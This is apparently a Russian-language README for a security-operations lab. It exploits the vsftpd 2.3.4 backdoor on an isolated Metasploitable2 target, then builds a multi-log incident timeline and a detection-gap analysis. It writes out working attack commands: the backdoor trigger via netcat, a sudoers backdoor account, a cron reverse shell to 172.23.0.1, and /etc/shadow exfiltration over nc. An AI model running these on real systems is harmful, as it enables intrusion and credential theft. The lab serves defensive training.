
Расследование SOC от начала до конца: цепочка атак CVE-2011-2523, корреляция логов из нескольких источников, отчет об инциденте — MITRE ATT&CK T1190
Выполняет полную четырёхфазную цепочку атак (Разведка → Эксплуатация → Закрепление → Exfiltration) против Metasploitable2, собирает доказательства на каждом этапе и формирует структурированную временную шкалу инцидента и отчёт SOC — демонстрируя мышление как атакующего, так и защитника.
Это итоговый проект. Он демонстрирует способность:
Используемая эксплойт (CVE-2011-2523 — бэкдор vsftpd 2.3.4) исторически значима: это была атака на цепочку поставок, когда злоумышленник внедрил бэкдор в репозиторий исходного кода открытого пакета vsftpd.
╔═══════════════════════════════╗
║ soc-lab (172.23.0.0/24) ║
║ ║
┌─────────────┐ ║ ┌─────────────────────────┐ ║
│ Атакующий │ ║ │ Metasploitable2 │ ║
│ Kali Linux │ ║ │ 172.23.0.200 │ ║
│ │ ║ │ │ ║
│ Фаза 1 │─────╫─►│ :21 vsftpd 2.3.4 ◄───╫──╫── CVE-2011-2523
│ nmap -A │ ║ │ :22 SSH │ ║ бэкдор на :6200
│ │ ║ │ :80 HTTP (DVWA) │ ║
│ Фаза 2 │─────╫─►│ :445 Samba │ ║
│ msf exploit│◄────╫──│ :6200 root shell │ ║
│ │ ║ └─────────────────────────┘ ║
│ Фаза 3 │─────╫─► useradd sysbackup ║
│ закрепление│─────╫─► crontab reverse shell ║
│ │ ║ ║
│ Фаза 4 │◄────╫── /etc/shadow через nc :5555 ║
│ exfiltration ╚═══════════════════════════════╝
└──────┬──────┘
│
│ Сбор доказательств:
│ logs/msf_session.log
│ logs/target_auth.log
│ captures/full_attack_chain.pcap (tshark CSV)
▼
┌──────────────────────────────────────────────────┐
│ build_timeline.py │
│ Парсер: MSF log + auth.log + tshark CSV │
│ → слияние по временным меткам → тегирование по фазе │
│ → JSON timeline + Markdown отчёт об инциденте │
└──────────────────────────────────────────────────┘
cd docker/
# Запуск Metasploitable2 (изолированная сеть)
docker compose up -d metasploitable
# Проверка доступности цели
nmap -p 21,22,80 172.23.0.200
# Запуск фонового захвата пакетов
sudo tcpdump -i eth0 host 172.23.0.200 \
-w captures/full_attack_chain.pcap &
nmap -sV -O -A \
-p 21,22,80,139,445,3306,5432 \
--script=banner,ftp-anon,http-title \
-oX logs/recon_scan.xml \
172.23.0.200
Ключевая находка: 21/tcp open ftp vsftpd 2.3.4
# Метод A: Metasploit
msfconsole -q -x "
use exploit/unix/ftp/vsftpd_234_backdoor;
set RHOSTS 172.23.0.200;
set PAYLOAD cmd/unix/interact;
run" | tee logs/msf_session.log
# Метод B: Вручную (демонстрирует механизм)
# Шаг 1: Запуск бэкдора отправкой имени пользователя с ':)'
printf "USER evil:)\r\nPASS x\r\n" | nc 172.23.0.200 21
# Шаг 2: Подключение к созданной root-оболочке
nc 172.23.0.200 6200
# → id: uid=0(root) gid=0(root)
Почему это работает: Когда vsftpd 2.3.4 получает имя пользователя, содержащее подстроку :), демон выполняет execl("/bin/sh",...), привязанный к TCP-порту 6200. Аутентификация не требуется — прямая root-оболочка.
# Выполнить в root-оболочке на цели:
useradd -m -s /bin/bash sysbackup
echo "sysbackup:$(openssl passwd -1 secr3t)" >> /etc/passwd
echo "sysbackup ALL=(ALL) NOPASSWD:ALL" >> /etc/sudoers
(crontab -l 2>/dev/null; echo "* * * * * bash -i >& /dev/tcp/172.23.0.1/9999 0>&1") | crontab -
# Приёмник (атакующий)
nc -lvnp 5555 > samples/exfiltrated_shadow.txt
# Отправитель (на цели)
cat /etc/shadow | nc 172.23.0.1 5555
# Сначала преобразовать PCAP в CSV
bash ../02-network-recon-detection/src/pcap_to_siem.sh captures/full_attack_chain.pcap
# Построить временную шкалу из всех источников
python3 src/build_timeline.py \
--msf-log logs/msf_session.log \
--auth-log logs/target_auth.log \
--pcap-csv captures/full_attack_chain_packets.csv \
--output-json samples/timeline.json \
--output-md docs/incident_report.md \
--pretty
build_timeline.py stderr2026-04-24T16:05:20 [INFO ] Разобрано 9 событий из MSF log
2026-04-24T16:05:20 [INFO ] Разобрано 11 событий из auth.log
2026-04-24T16:05:20 [INFO ] Разобрано 4 события инициализации потока из PCAP CSV
2026-04-24T16:05:20 [INFO ] Всего событий (отсортировано): 24
2026-04-24T16:05:20 [INFO ] Извлечено уникальных IOCs: 4
2026-04-24T16:05:20 [INFO ] Фаза RECON : 8 событий(я)
2026-04-24T16:05:20 [INFO ] Фаза EXPLOIT : 4 событий(я)
2026-04-24T16:05:20 [INFO ] Фаза PERSIST : 6 событий(я)
2026-04-24T16:05:20 [INFO ] Фаза EXFIL : 2 событий(я)
samples/sample_timeline.json){
"total_events": 24,
"iocs": [
{ "indicator": "172.23.0.1", "phase": "RECON", "occurrence": 8 },
{ "indicator": "172.23.0.1", "phase": "EXPLOIT", "occurrence": 2 },
{ "indicator": "sysbackup", "phase": "PERSIST", "occurrence": 1 }
],
"timeline": [
{ "timestamp": "2026-04-24T14:10:05+00:00", "phase": "RECON", "description": "nmap -sV -O -A", "source": "metasploit" },
{ "timestamp": "2026-04-24T14:22:41+00:00", "phase": "EXPLOIT", "description": "session 1 opened (172.23.0.1 → 172.23.0.200)", "source": "metasploit" },
{ "timestamp": "2026-04-24T14:28:07+00:00", "phase": "PERSIST", "description": "useradd: new user: name=sysbackup", "source": "auth_log" },
{ "timestamp": "2026-04-24T14:35:52+00:00", "phase": "EXFIL", "description": "flow 172.23.0.200 → 172.23.0.1:5555", "source": "pcap" }
]
}
Это самый важный аналитический результат — что было бы упущено без надлежащего обнаружения.
Критическая находка: Эксплойт vsftpd 2.3.4 не оставляет никакой записи в auth.log, поскольку обходит подсистему входа в систему. Единственным журнальным доказательством является последующее TCP-соединение к порту 6200 — невидимое без сетевой телеметрии. Только журналы конечных точек не могут обнаружить этот класс атак.
04-soc-investigation/
├── src/
│ ├── build_timeline.py # Объединение логов из нескольких источников + тегирование фаз
│ └── run_attack_chain.sh # Пошаговая цепочка атак с точными командами
├── configs/
│ └── splunk_detection_rules.spl # SPL-запросы для каждой фазы (RECON/EXPLOIT/PERSIST/EXFIL)
├── samples/
│ └── sample_timeline.json # Пример временной шкалы инцидента в JSON
├── docker/
│ └── docker-compose.yml # Изолированная цель Metasploitable2
├── docs/
│ └── incident_report.md # Сгенерированный отчёт SOC (build_timeline.py --output-md)
└── screenshots/
| Инструмент | Назначение |
|---|
| Metasploitable2 | Преднамеренно уязвимая цель Linux |
| Nmap 7.94 | Фаза 1: Перечисление сервисов |
| Metasploit 6.x | Фаза 2: Эксплуатация vsftpd 2.3.4 |
| Netcat | Фаза 3–4: Закрепление + Exfiltration |
| tshark | Захват пакетов на всех этапах |
| Python 3 | build_timeline.py — объединение логов из нескольких источников |
| Splunk Free / ELK | Обнаружение SIEM для каждой фазы |
| Фаза | Сырые журнальные доказательства | Обнаружено правилом SIEM | Упущено без покрытия |
|---|
| RECON | PCAP: SYN-flood на 24 порта | Правило обхода портов (>20 портов/10 с) ✓ | Медленное сканирование (-T1): обходит пороговое значение скорости полностью |
| EXPLOIT | PCAP: новое соединение на :6200 · Нет записи в auth.log | Правило аномалии порта :6200 ✓ | Если атакующий использовал HTTP-эксплойт на :80 — нет аномалии порта |
| PERSIST | auth.log: new user: name=sysbackup | Оповещение о создании нового пользователя ✓ | Прямое редактирование /etc/passwd: нулевое логирование без auditd |
| EXFIL | PCAP: 4 КБ исходящего трафика на :5555 | Правило нестандартного порта и размера ✓ | DNS-эксфильтрация (TXT-записи): полностью обходит правила объёма |
| Ограничение | Влияние | Смягчение |
|---|
| vsftpd 2.3.4 — уязвимость 2011 года | Не репрезентативна для современных эксплойтов | Добавить EternalBlue (MS17-010) как альтернативный сценарий эксплуатации |
build_timeline.py использует классификацию по ключевым словам | Неправильно классифицирует некоторые события | Обучить лёгкий NLP-классификатор на размеченных данных журналов |
| Нет обнаружения конечных точек (EDR) | Не захватывается закрепление на уровне файлов (authorized_keys) | Добавить Wazuh или Elastic Agent на цель |
| Ручное выполнение цепочки атак | Не воспроизводится без интерактивного вмешательства | Автоматизировать фазы 2–4 с помощью ресурсных скриптов Metasploit |
| Ссылка | ID / Ссылка |
|---|
| CVE-2011-2523 — бэкдор vsftpd 2.3.4 | https://nvd.nist.gov/vuln/detail/CVE-2011-2523 |
| MITRE ATT&CK — Exploit Public-Facing Application | T1190 |
| MITRE ATT&CK — Create Account: Local Account | T1136.001 |
| MITRE ATT&CK — Scheduled Task/Job: Cron | T1053.003 |
| MITRE ATT&CK — Exfiltration Over C2 Channel | T1041 |
| MITRE ATT&CK — Valid Accounts | T1078 |